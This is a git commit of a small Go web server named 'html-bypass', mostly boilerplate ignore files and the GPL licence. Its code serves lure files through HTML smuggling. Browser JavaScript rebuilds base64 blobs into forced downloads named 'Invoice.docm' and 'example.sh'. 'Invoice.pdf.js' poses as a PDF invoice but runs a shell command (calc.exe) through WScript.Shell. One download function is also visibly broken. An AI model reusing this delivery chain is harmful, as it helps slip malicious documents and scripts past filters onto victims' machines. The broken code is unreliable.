commit 3bc20a2b1dfd61a2ab9992e2a7a6b40534e83e1b Author: Johannes Bülow Date: Wed Sep 13 15:12:44 2023 +0200 first commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..aa6fdbe --- /dev/null +++ b/.gitignore @@ -0,0 +1,187 @@ +### JetBrains template +# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider +# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 + +# User-specific stuff +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/**/usage.statistics.xml +.idea/**/dictionaries +.idea/**/shelf + +# AWS User-specific +.idea/**/aws.xml + +# Generated files +.idea/**/contentModel.xml + +# Sensitive or high-churn files +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml +.idea/**/dbnavigator.xml + +# Gradle +.idea/**/gradle.xml +.idea/**/libraries + +# Gradle and Maven with auto-import +# When using Gradle or Maven with auto-import, you should exclude module files, +# since they will be recreated, and may cause churn. Uncomment if using +# auto-import. +# .idea/artifacts +# .idea/compiler.xml +# .idea/jarRepositories.xml +# .idea/modules.xml +# .idea/*.iml +# .idea/modules +# *.iml +# *.ipr + +# CMake +cmake-build-*/ + +# Mongo Explorer plugin +.idea/**/mongoSettings.xml + +# File-based project format +*.iws + +# IntelliJ +out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Cursive Clojure plugin +.idea/replstate.xml + +# SonarLint plugin +.idea/sonarlint/ + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + +# Editor-based Rest Client +.idea/httpRequests + +# Android studio 3.1+ serialized cache file +.idea/caches/build_file_checksums.ser + +### Linux template +*~ + +# temporary files which can be created if a process still has a handle open of a deleted file +.fuse_hidden* + +# KDE directory preferences +.directory + +# Linux trash folder which might appear on any partition or disk +.Trash-* + +# .nfs files are created when an open file is removed but is still being accessed +.nfs* + +### Emacs template +# -*- mode: gitignore; -*- +\#*\# +/.emacs.desktop +/.emacs.desktop.lock +*.elc +auto-save-list +tramp +.\#* + +# Org-mode +.org-id-locations +*_archive + +# flymake-mode +*_flymake.* + +# eshell files +/eshell/history +/eshell/lastdir + +# elpa packages +/elpa/ + +# reftex files +*.rel + +# AUCTeX auto folder +/auto/ + +# cask packages +.cask/ +dist/ + +# Flycheck +flycheck_*.el + +# server auth directory +/server/ + +# projectiles files +.projectile + +# directory configuration +.dir-locals.el + +# network security +/network-security.data + + +### Go template +# If you prefer the allow list template instead of the deny list, see community template: +# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore +# +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Dependency directories (remove the comment below to include it) +# vendor/ + +# Go workspace file +go.work + +### Vim template +# Swap +[._]*.s[a-v][a-z] +!*.svg # comment out if you don't need vector files +[._]*.sw[a-p] +[._]s[a-rt-v][a-z] +[._]ss[a-gi-z] +[._]sw[a-p] + +# Session +Session.vim +Sessionx.vim + +# Temporary +.netrwhist +# Auto-generated tag files +tags +# Persistent undo +[._]*.un~ + diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/html-bypass.iml b/.idea/html-bypass.iml new file mode 100644 index 0000000..25ed3f6 --- /dev/null +++ b/.idea/html-bypass.iml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..656becd --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..2cf1099 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..010a71a --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type 'show c' for details. + +The hypothetical commands 'show w' and 'show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than 'show w' and 'show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + 'Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..e69de29 diff --git a/assets/scripts.js b/assets/scripts.js new file mode 100644 index 0000000..586e1b5 --- /dev/null +++ b/assets/scripts.js @@ -0,0 +1,92 @@ +function wordBase64() { + const url = "/download/word/?type=base64"; + fetch(url) + .then(response => response.text()) // Convert the response to text + .then(base64 => { + // Convert to binary data + const binaryData = atob(base64.replace(/^.*,/, '')); + + // Create byte array + const byteNumbers = new Array(binaryData.length); + for (let i = 0; i < binaryData.length; i++) { + byteNumbers[i] = binaryData.charCodeAt(i); + } + + // Create blob + const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'}); + + // Trigger download + const downloadUrl = URL.createObjectURL(blobData); + // Get the link element by its ID + const link = document.getElementById("download") + link.href = downloadUrl; + link.download = "Invoice.docm"; + link.click(); + URL.revokeObjectURL(downloadUrl) + }) + .catch(error => { + // Handle any errors that may occur during the fetch + console.error("Error fetching the document:", error); + }); +} + +function wordJpg() { + const url = "/download/word/?type=jpg"; + fetch(url) + .then(response => response.blob()) // Convert the response to text + .then(binaryData => { + // Create byte array + const byteNumbers = new Array(binaryData.length); + for (let i = 0; i < binaryData.length; i++) { + byteNumbers[i] = binaryData.charCodeAt(i); + } + // Create blob + const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'}); + + // Trigger download + const downloadUrl = URL.createObjectURL(blob); + // Get the link element by its ID + const link = document.getElementById("download") + link.href = downloadUrl; + link.download = "Invoice.docm"; + link.click(); + URL.revokeObjectURL(downloadUrl) + }) + .catch(error => { + // Handle any errors that may occur during the fetch + console.error("Error fetching the document:", error); + }); +} + + +function shBase64() { + const url = "/download/sh/?type=base64"; + fetch(url) + .then(response => response.text()) // Convert the response to text + .then(base64 => { + // Convert to binary data + const binaryData = atob(base64.replace(/^.*,/, '')); + + // Create byte array + const byteNumbers = new Array(binaryData.length); + for (let i = 0; i < binaryData.length; i++) { + byteNumbers[i] = binaryData.charCodeAt(i); + } + + // Create blob + const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'}); + + // Trigger download + const downloadUrl = URL.createObjectURL(blobData); + // Get the link element by its ID + const link = document.getElementById("download") + link.href = downloadUrl; + link.download = "example.sh"; + link.click(); + URL.revokeObjectURL(downloadUrl) + }) + .catch(error => { + // Handle any errors that may occur during the fetch + console.error("Error fetching the document:", error); + }); +} \ No newline at end of file diff --git a/assets/styles.css b/assets/styles.css new file mode 100644 index 0000000..220cff7 --- /dev/null +++ b/assets/styles.css @@ -0,0 +1,60 @@ +/* Sticky footer styles +-------------------------------------------------- */ +html { + position: relative; + min-height: 100%; +} +body { + /* Margin bottom by footer height */ + margin-bottom: 60px; +} + +.grid-container { + display: grid; /* Set the container as a grid container */ + grid-template-columns: repeat(3, 1fr); /* Define 3 columns with equal width */ + grid-gap: 20px; /* Add some gap between grid items */ +} + +.grid-item { + background-color: #0060df; /* Add background color */ + color: #fff; /* Add text color */ + padding: 20px; /* Add padding */ + text-align: center; /* Center-align text */ +} + +.header { + display: flex; /* Use flexbox for layout */ + justify-content: space-between; /* Space between title and links */ + align-items: center; /* Center vertically */ + background-color: #0060df; /* Background color for the header */ + padding: 10px 20px; /* Add padding for spacing */ + color: #fff; /* Text color */ +} + +.title { + font-size: 24px; /* Adjust the font size */ + font-weight: bold; /* Add font weight if desired */ +} + +.nav-links { + text-align: right; /* Right-align the links */ +} + +.nav-links a { + text-decoration: none; /* Remove underlines from links */ + color: #fff; /* Link text color */ + margin-left: 20px; /* Add spacing between links */ +} + + +.footer { + position: absolute; + bottom: 0; + left: 0; + right: 0; + width: 100%; + /* Set the fixed height of the footer here */ + /* height: 60px; */ + background-color: #f5f5f5; + text-align: center; +} diff --git a/download.go b/download.go new file mode 100644 index 0000000..2c4152d --- /dev/null +++ b/download.go @@ -0,0 +1,60 @@ +package main + +import ( + "embed" + "encoding/base64" + "fmt" + "github.com/gin-gonic/gin" + "log" + "net/http" + "strings" +) + +//go:embed files/* +var Files embed.FS + +func DownloadFile(c *gin.Context) { + fileFormat := c.DefaultQuery("type", "control") + fileType := c.Param("fileType") + var err error + var fileContent []byte + var sourceFile string + switch fileType { + case "word": + sourceFile = "files/Invoice.docm" + case "jspdf": + sourceFile = "files/Invoice.pdf.js" + case "sh": + sourceFile = "files/example.sh" + default: + c.String(http.StatusNotFound, "Could not find file Type %s", fileType) + log.Printf("Could not find file type %s", fileType) + return + } + fileContent, err = Files.ReadFile(sourceFile) + if err != nil { + c.String(http.StatusNotFound, "Could not open file type %s: %v", fileType, err) + log.Printf("Could not find file type %s: %v", fileType, err) + return + } + switch fileFormat { + case "base64": + base64String := base64.StdEncoding.EncodeToString(fileContent) + c.String(http.StatusOK, "data:application/octet-stream;base64,%s", base64String) + case "control": + c.Header("Content-Disposition", fmt.Sprintf("attachment; filename=%s", strings.Split(sourceFile, "/")[1])) + c.Data(http.StatusOK, "application/vnd.openxmlformats-officedocument.wordprocessingml.document", fileContent) + case "jpg": + c.Header("Content-Disposition", fmt.Sprintf("attachment; filename=%s", "image.jpg")) + c.Data(http.StatusOK, "image/jpeg", fileContent) + // TODO: Iso image + // case "iso": + // diskImg := fmt.Sprintf("%s.iso", strings.Split(sourceFile, "/")[1]) + // diskSize := (len(fileContent)/1024 + 1) * 1024 // Slightly padding out disk Image + default: + c.String(http.StatusNotFound, "Could not find Encoding %s", fileFormat) + log.Printf("Could not find file type %s", fileFormat) + return + } + +} diff --git a/files/Invoice.docm b/files/Invoice.docm new file mode 100644 index 0000000..cbe1317 Binary files /dev/null and b/files/Invoice.docm differ diff --git a/files/Invoice.pdf.js b/files/Invoice.pdf.js new file mode 100644 index 0000000..f3ad4b4 --- /dev/null +++ b/files/Invoice.pdf.js @@ -0,0 +1,12 @@ +var shell = new ActiveXObject("WScript.Shell"); +var command = "calc.exe"; +shell.Run(command, 1, true); + + +var dataUri = "data:application/pdf;base64,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